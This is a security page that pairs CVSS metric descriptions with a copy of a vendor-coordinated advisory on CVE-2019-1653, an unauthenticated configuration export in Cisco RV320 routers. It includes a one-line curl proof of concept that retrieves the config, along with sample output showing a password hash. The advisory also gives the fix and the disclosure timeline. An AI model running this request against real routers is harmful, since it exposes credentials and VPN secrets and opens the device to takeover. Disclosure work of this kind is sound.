The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: Cisco RV320 Unauthenticated Configuration Export
Advisory: Cisco RV320 Unauthenticated Configuration Export
RedTeam Pentesting discovered that the configuration of a Cisco RV320
router may be exported without authentication through the device's web
interface.
Details
=======
Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others
Affected Versions: 1.4.2.15, 1.4.2.17
Fixed Versions: since 1.4.2.19
Vulnerability Type: Information Disclosure
Security Risk: high
Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2018-002
Advisory Status: published
CVE: CVE-2019-1653
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1653
Introduction
============
"Keep your employees, your business, and yourself productive and
effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal
choice for any small office or small business looking for performance,
security, and reliability in its network."
(from the Cisco RV320 product page [1])
More Details
============
The Cisco RV320 Dual Gigabit WAN VPN Router provides a web-based
configuration interface. In the device's firmware, this functionality is
implemented using a variety of CGI programs. Access to this web
interface requires prior authentication using a username and password.
RedTeam Pentesting discovered the CGI program:
/cgi-bin/config.exp
This program can be used to export the router's configuration. In
contrast to other functions, this CGI program does not require any form
of authentication. It may be accessed through the router's web server,
which is available from the LAN by default. As described in [2],
firmware versions from 1.4.2 to 1.4.2.15 (including) also expose the web
server to the WAN on TCP port 8007.
Proof of Concept
================
A device's configuration can be retrieved by issuing an HTTP GET request
to the vulnerable CGI program (output shortened):
------------------------------------------------------------------------
$ curl -s http://192.168.1.1/cgi-bin/config.exp
####sysconfig####
[VERSION]
VERSION=73
MODEL=RV320
SSL=0
IPSEC=0
PPTP=0
PLATFORMCODE=RV0XX
[...]
[SYSTEM]
HOSTNAME=router
DOMAINNAME=example.com
DOMAINCHANGE=1
USERNAME=cisco
PASSWD=066bae9070a9a95b3e03019db131cd40
[...]
------------------------------------------------------------------------
Workaround
==========
Prevent untrusted clients from connecting to the device's web server.
Fix
===
Install firmware version 1.4.2.19 (or later) on the router.
Security Risk
=============
This vulnerability is rated as a high risk as it exposes the device's
configuration to untrusted, potentially malicious parties. By
downloading the configuration, attackers can obtain internal network
configuration, VPN or IPsec secrets, as well as password hashes for the
router's user accounts. Knowledge of a user's password hash is
sufficient to log into the router's web interface. Any information
obtained through exploitation of this vulnerability can be used to
facilitate further compromise of the device itself or attached networks.
Timeline
========
2018-09-19 Vulnerability identified
2018-09-27 Customer approved disclosure to vendor
2018-09-28 Vendor notified
2018-10-05 Receipt of advisory acknowledged by vendor
2018-10-05 Notified vendor of disclosure date: 2019-01-09
2018-11-18 List of affected versions provided by vendor
2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor
2019-01-23 Advisory published
References
==========
[1] https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html
[2] https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvg42801
RedTeam Pentesting GmbH
=======================
RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.
As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.
More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/
Working at RedTeam Pentesting
=============================
RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://www.redteam-pentesting.de/jobs/
--
RedTeam Pentesting GmbH Tel.: +49 241 510081-0
Dennewartstr. 25-27 Fax : +49 241 510081-99
52068 Aachen https://www.redteam-pentesting.de
Germany Registergericht: Aachen HRB 14004
GeschA$?ftsfA1/4hrer: Patrick Hof, Jens Liebchen
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